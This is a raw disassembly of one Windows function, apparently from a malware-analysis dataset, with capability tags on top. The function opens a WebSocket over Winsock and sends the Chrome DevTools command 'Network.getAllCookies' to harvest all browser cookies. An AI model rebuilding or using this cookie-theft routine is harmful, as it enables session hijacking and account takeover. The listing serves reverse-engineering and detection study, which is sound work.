Function at 0x407fab
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13e0
call fcn.0042fc10
mov eax, dword [0x43e078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xf
pop edi
mov dword [ebp - 0x1394], eax
xor ebx, ebx
push 0x438100
lea eax, [ebp - 0x107c]
mov esi, ecx
push eax
mov dword [ebp - 0x1398], esi
mov dword [ebp - 0x1030], edi
mov dword [ebp - 0x1034], ebx
mov byte [ebp - 0x1044], bl
mov dword [ebp - 0x1068], edi
mov dword [ebp - 0x106c], ebx
mov byte [ebp - 0x107c], bl
call fcn.004102aa
push 0x438104
lea eax, [ebp - 0x10b4]
push eax
mov dword [ebp - 0x10a0], edi
mov dword [ebp - 0x10a4], ebx
mov byte [ebp - 0x10b4], bl
call fcn.004102aa
push 5
push ebx
mov eax, esi
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1014], edi
mov dword [ebp - 0x1018], ebx
mov byte [ebp - 0x1028], bl
call fcn.00410532
push str.ws:__
lea edx, [ebp - 0x1028]
call fcn.00410090
neg eax
sbb al, al
inc al
push 1
lea esi, [ebp - 0x1028]
mov byte [ebp - 0x1390], al
call fcn.0041045e
cmp byte [ebp - 0x1390], bl
je 0x408ac0
push 1
lea eax, [ebp - 0x1390]
push eax
push dword [ebp - 0x1398]
mov byte [ebp - 0x1390], 0x2f
push 5
pop eax
call fcn.004102cd
mov dword [ebp - 0x13a4], eax
cmp eax, 0xffffffff
jne 0x4080e1
push eax
mov eax, dword [ebp - 0x1398]
push 5
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1014], edi
mov dword [ebp - 0x1018], ebx
mov byte [ebp - 0x1028], bl
call fcn.00410532
lea eax, [ebp - 0x1044]
jmp 0x408143
add eax, 0xfffffffb
push eax
mov eax, dword [ebp - 0x1398]
push 5
lea esi, [ebp - 0x115c]
call fcn.0041012d
mov edi, esi
lea eax, [ebp - 0x1044]
call fcn.00410151
push 1
xor ebx, ebx
call fcn.0041045e
mov eax, dword [ebp - 0x1398]
and dword [ebp - 0x1018], ebx
push 0xffffffffffffffff
push dword [ebp - 0x13a4]
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1014], 0xf
mov byte [ebp - 0x1028], bl
call fcn.00410532
lea eax, [ebp - 0x10b4]
lea edi, [ebp - 0x1028]
call fcn.00410151
push 1
xor ebx, ebx
mov esi, edi
call fcn.0041045e
push 1
lea eax, [ebp - 0x1390]
push eax
lea eax, [ebp - 0x1044]
push eax
xor eax, eax
mov byte [ebp - 0x1390], 0x3a
call fcn.004102cd
mov dword [ebp - 0x1398], eax
cmp eax, 0xffffffff
je 0x408215
and dword [ebp - 0x1018], ebx
inc eax
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x1044]
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1014], 0xf
mov byte [ebp - 0x1028], bl
call fcn.00410532
lea edi, [ebp - 0x1028]
lea eax, [ebp - 0x107c]
call fcn.00410151
push 1
mov esi, edi
call fcn.0041045e
push dword [ebp - 0x1398]
xor eax, eax
mov dword [ebp - 0x1018], eax
mov byte [ebp - 0x1028], al
push eax
lea eax, [ebp - 0x1044]
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1014], 0xf
call fcn.00410532
lea edi, [ebp - 0x1028]
lea eax, [ebp - 0x1044]
call fcn.00410151
push 1
mov esi, edi
call fcn.0041045e
cmp dword [ebp - 0x1068], 0x10
mov edx, dword [ebp - 0x107c]
jae 0x40822a
lea edx, [ebp - 0x107c]
call fcn.00413759
mov dword [ebp - 0x1398], eax
lea eax, [ebp - 0x138c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x408255
push 0x43782b
jmp 0x408ac5
push 6
push 1
push 2
pop esi
push esi
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x13a0], eax
cmp eax, 0xffffffff
jne 0x40827e
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x43782e
jmp 0x408ac5
xor ebx, ebx
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x13d8]
mov dword [ebp - 0x13dc], ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x1044]
xor edi, edi
inc edi
cmp dword [ebp - 0x1030], 0x10
mov dword [ebp - 0x13d8], esi
mov dword [ebp - 0x13d4], edi
mov dword [ebp - 0x13b8], ebx
jae 0x4082bd
lea eax, [ebp - 0x1044]
lea ecx, [ebp - 0x13b8]
push ecx
lea ecx, [ebp - 0x13dc]
push ecx
push ebx
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x4082ff
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, dword [ebp - 0x1394]
push 0x43782f
call fcn.0040ff15
push edi
jmp 0x408ad2
push dword [ebp - 0x1398]
xor eax, eax
lea edi, [ebp - 0x116c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov word [ebp - 0x116c], si
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x116a], ax
mov eax, dword [ebp - 0x13b8]
mov ecx, dword [eax + 0x18]
mov ecx, dword [ecx + 4]
push eax
mov dword [ebp - 0x1168], ecx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
lea eax, [ebp - 0x116c]
push eax
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x408374
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x437832
jmp 0x408ac5
push 0xf
pop esi
push 0x438110
lea eax, [ebp - 0x1140]
push eax
mov dword [ebp - 0x112c], esi
mov dword [ebp - 0x1130], ebx
mov byte [ebp - 0x1140], bl
call fcn.004102aa
lea edi, [ebp - 0x10b4]
lea eax, [ebp - 0x11dc]
call fcn.00410814
push str._HTTP_1.1_r_nHost:
push eax
call fcn.0041022b
mov edi, eax
lea eax, [ebp - 0x115c]
mov dword [ebp - 0x1148], esi
mov dword [ebp - 0x114c], ebx
mov byte [ebp - 0x115c], bl
call fcn.00410151
lea eax, [ebp - 0x1044]
push eax
lea eax, [ebp - 0x11f8]
push eax
lea ecx, [ebp - 0x115c]
call fcn.0041086b
pop ecx
pop ecx
push 0x438174
push eax
call fcn.0041022b
mov edi, eax
lea eax, [ebp - 0x1098]
mov dword [ebp - 0x1084], esi
mov dword [ebp - 0x1088], ebx
mov byte [ebp - 0x1098], bl
call fcn.00410151
lea eax, [ebp - 0x107c]
push eax
lea eax, [ebp - 0x11c0]
push eax
lea ecx, [ebp - 0x1098]
call fcn.0041086b
pop ecx
pop ecx
push str._r_nConnection:_Upgrade_r_nUpgrade:_websocket_r_nSec_WebSocket_Key:
push eax
call fcn.0041022b
mov edi, eax
lea eax, [ebp - 0x1028]
mov dword [ebp - 0x1014], esi
mov dword [ebp - 0x1018], ebx
mov byte [ebp - 0x1028], bl
call fcn.00410151
lea eax, [ebp - 0x1140]
push eax
lea eax, [ebp - 0x11a4]
push eax
lea ecx, [ebp - 0x1028]
call fcn.0041086b
pop ecx
pop ecx
push str._r_nSec_WebSocket_Version:_13_r_n_r_n
push eax
call fcn.0041022b
mov edi, eax
lea eax, [ebp - 0x10d0]
mov dword [ebp - 0x10bc], esi
mov dword [ebp - 0x10c0], ebx
mov byte [ebp - 0x10d0], bl
call fcn.00410151
push 1
xor ebx, ebx
lea esi, [ebp - 0x11a4]
call fcn.0041045e
push 1
lea esi, [ebp - 0x1028]
call fcn.0041045e
push 1
lea esi, [ebp - 0x11c0]
call fcn.0041045e
push 1
lea esi, [ebp - 0x1098]
call fcn.0041045e
push 1
lea esi, [ebp - 0x11f8]
call fcn.0041045e
push 1
lea esi, [ebp - 0x115c]
call fcn.0041045e
push 1
lea esi, [ebp - 0x11dc]
call fcn.0041045e
cmp dword [ebp - 0x10bc], 0x10
mov eax, dword [ebp - 0x10d0]
jae 0x408516
lea eax, [ebp - 0x10d0]
mov esi, dword [ebp - 0x13a0]
xor ebx, ebx
push ebx
push dword [ebp - 0x10c0]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x408570
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x437833
mov esi, dword [ebp - 0x1394]
call fcn.0040ff15
push 1
xor ebx, ebx
lea esi, [ebp - 0x10d0]
call fcn.0041045e
push 1
lea esi, [ebp - 0x1140]
call fcn.0041045e
jmp 0x408ad0
push ebx
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x40859c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x437839
jmp 0x408544
push 0xf
pop edi
push str._id_:1__method_:_Network.getAllCookies_
lea eax, [ebp - 0x1108]
push eax
mov dword [ebp - 0x10f4], edi
mov dword [ebp - 0x10f8], ebx
mov byte [ebp - 0x1108], bl
call fcn.004102aa
mov esi, dword [sym.imp.msvcrt.dll_rand]
call esi
and eax, 0x800000ff
jns 0x4085d8
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x13b4], al
call esi
and eax, 0x800000ff
jns 0x4085ee
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x13b3], al
call esi
and eax, 0x800000ff
jns 0x408604
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x13b2], al
call esi
and eax, 0x800000ff
jns 0x40861a
dec eax
or eax, 0xffffff00
inc eax
push 0xffffffffffffff81
lea esi, [ebp - 0x1060]
mov byte [ebp - 0x13b1], al
mov dword [ebp - 0x104c], edi
mov dword [ebp - 0x1050], ebx
mov byte [ebp - 0x1060], bl
call fcn.00410250
mov edi, dword [ebp - 0x10f8]
cmp edi, 0x7d
ja 0x408658
mov al, byte [ebp - 0x10f8]
or al, 0x80
movzx eax, al
push eax
jmp 0x408679
lea esi, [ebp - 0x1060]
cmp edi, 0xffff
ja 0x408686
push 0xfffffffffffffffe
call fcn.00410250
mov eax, edi
shr eax, 8
push eax
call fcn.00410250
push edi
lea esi, [ebp - 0x1060]
call fcn.00410250
jmp 0x4086b9
push 0xffffffffffffffff
call fcn.00410250
push 0x38
mov dword [ebp - 0x13a8], ebx
pop ebx
mov edx, dword [ebp - 0x13a8]
mov eax, edi
mov ecx, ebx
call fcn.00430a00
movzx eax, al
push eax
lea esi, [ebp - 0x1060]
call fcn.00410250
sub ebx, 8
jns 0x408696
lea eax, [ebp - 0x13b4]
push eax
push 4
pop ebx
lea eax, [ebp - 0x1060]
call fcn.0040ff70
xor ebx, ebx
test edi, edi
je 0x40870c
cmp dword [ebp - 0x10f4], 0x10
mov eax, dword [ebp - 0x1108]
jae 0x4086e9
lea eax, [ebp - 0x1108]
mov ecx, ebx
and ecx, 3
mov cl, byte [ebp + ecx - 0x13b4]
xor cl, byte [eax + ebx]
lea esi, [ebp - 0x1060]
movzx eax, cl
push eax
call fcn.00410250
inc ebx
cmp ebx, edi
jb 0x4086d4
cmp dword [ebp - 0x104c], 0x10
mov eax, dword [ebp - 0x1060]
jae 0x408721
lea eax, [ebp - 0x1060]
xor esi, esi
push esi
push dword [ebp - 0x1050]
push eax
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40877f
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, dword [ebp - 0x1394]
push 0x43783a
call fcn.0040ff15
push 1
xor ebx, ebx
lea esi, [ebp - 0x1060]
call fcn.0041045e
push 1
lea esi, [ebp - 0x1108]
call fcn.0041045e
jmp 0x40854f
mov dword [ebp - 0x108c], esi
mov dword [ebp - 0x1088], esi
mov dword [ebp - 0x1084], esi
mov dword [ebp - 0x10d8], 0xf
mov dword [ebp - 0x10dc], esi
mov byte [ebp - 0x10ec], 0
mov byte [ebp - 0x1390], 0
push esi
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jle 0x4089d7
push dword [ebp - 0x13b8]
lea eax, [ebp + eax - 0x100c]
push eax
lea eax, [ebp - 0x100c]
push eax
push dword [ebp - 0x1088]
lea ecx, [ebp - 0x108c]
call fcn.004109d0
jmp 0x40899d
mov al, byte [ebx + 1]
mov dl, byte [ebx]
mov cl, al
and al, 0x7f
shr dl, 7
movzx eax, al
mov byte [ebp - 0x13ad], dl
cdq
shr cl, 7
push 2
pop esi
mov byte [ebp - 0x1399], cl
mov dword [ebp - 0x13ac], eax
mov dword [ebp - 0x13a8], edx
cmp eax, 0x7e
jne 0x40885e
test edx, edx
jne 0x40885e
cmp dword [ebp - 0x1398], 4
jb 0x4089c8
movzx eax, byte [ebx + 2]
movzx edx, byte [ebx + 3]
shl eax, 8
or eax, edx
cdq
push 4
mov dword [ebp - 0x13ac], eax
mov dword [ebp - 0x13a8], edx
pop esi
jmp 0x4088b4
cmp eax, 0x7f
jne 0x4088b4
test edx, edx
jne 0x4088b4
cmp dword [ebp - 0x1398], 0xa
jb 0x4089c8
and dword [ebp - 0x13ac], edx
and dword [ebp - 0x13a8], edx
mov ecx, dword [ebp - 0x13ac]
mov edi, dword [ebp - 0x13a8]
movzx eax, byte [ebx + esi]
shld edi, ecx, 8
cdq
shl ecx, 8
or eax, ecx
or edx, edi
inc esi
mov dword [ebp - 0x13ac], eax
mov dword [ebp - 0x13a8], edx
cmp esi, 0xa
jl 0x408880
mov cl, byte [ebp - 0x1399]
mov dword [ebp - 0x13a4], 0
test cl, cl
je 0x4088dc
lea eax, [esi + 4]
cmp dword [ebp - 0x1398], eax
jb 0x4089c8
add esi, ebx
lea edi, [ebp - 0x13a4]
movsd dword es:[edi], dword [esi]
mov esi, eax
xor eax, eax
mov edx, esi
add edx, dword [ebp - 0x13ac]
adc eax, dword [ebp - 0x13a8]
xor ecx, ecx
cmp ecx, eax
jb 0x4089c8
ja 0x408904
cmp dword [ebp - 0x1398], edx
jb 0x4089c8
mov eax, dword [ebp - 0x13ac]
lea edi, [esi + ebx]
add eax, edi
push eax
push edi
lea esi, [ebp - 0x101c]
call fcn.004108a7
cmp byte [ebp - 0x1399], 0
mov esi, dword [ebp - 0x101c]
je 0x408955
mov ecx, dword [ebp - 0x1018]
xor eax, eax
sub ecx, esi
mov dword [ebp - 0x1398], ecx
je 0x408955
mov ecx, eax
and ecx, 3
mov cl, byte [ebp + ecx - 0x13a4]
xor byte [esi + eax], cl
inc eax
cmp eax, dword [ebp - 0x1398]
jb 0x40893d
push dword [ebp - 0x13b8]
lea eax, [ebp - 0x10ec]
push dword [ebp - 0x1018]
push esi
call fcn.00410b24
mov eax, dword [ebp - 0x13ac]
add eax, edi
push eax
push ebx
lea eax, [ebp - 0x13bc]
push eax
lea edi, [ebp - 0x108c]
call fcn.004100e9
cmp byte [ebp - 0x13ad], 0
lea edx, [ebp - 0x101c]
jne 0x4089bc
call fcn.004104d8
mov ebx, dword [ebp - 0x108c]
mov eax, dword [ebp - 0x1088]
sub eax, ebx
mov dword [ebp - 0x1398], eax
cmp eax, 2
jae 0x4087fb
jmp 0x4089c8
mov byte [ebp - 0x1390], 1
call fcn.004104d8
xor esi, esi
cmp byte [ebp - 0x1390], 0
je 0x4087af
mov dword [ebp - 0x1114], esi
push 0xffffffffffffff88
lea esi, [ebp - 0x1124]
mov dword [ebp - 0x1110], 0xf
mov byte [ebp - 0x1124], 0
call fcn.00410250
xor edi, edi
push edi
call fcn.00410250
cmp dword [ebp - 0x1110], 0x10
mov eax, dword [ebp - 0x1124]
jae 0x408a14
mov eax, esi
push edi
push dword [ebp - 0x1114]
push eax
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 0x13a0]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp - 0x10d8], 0x10
mov ecx, dword [ebp - 0x10ec]
mov eax, ecx
jae 0x408a51
lea eax, [ebp - 0x10ec]
add eax, dword [ebp - 0x10dc]
cmp dword [ebp - 0x10d8], 0x10
jae 0x408a66
lea ecx, [ebp - 0x10ec]
push eax
push ecx
lea esi, [ebp - 0x1188]
call fcn.004108de
mov eax, dword [ebp - 0x1394]
mov dword [eax + 0x10], edi
mov dword [eax + 0x14], 0xf
mov edi, esi
mov byte [eax], 0
call fcn.00410151
push 1
xor ebx, ebx
call fcn.0041045e
push 1
lea esi, [ebp - 0x1124]
call fcn.0041045e
push 1
lea esi, [ebp - 0x10ec]
call fcn.0041045e
lea edx, [ebp - 0x108c]
call fcn.004104d8
jmp 0x40875e
push 0x43782a
mov esi, dword [ebp - 0x1394]
call fcn.0040ff15
push 1
xor ebx, ebx
lea esi, [ebp - 0x10b4]
call fcn.0041045e
push 1
lea esi, [ebp - 0x107c]
call fcn.0041045e
push 1
lea esi, [ebp - 0x1044]
call fcn.0041045e
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x1394]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e88c
leave
ret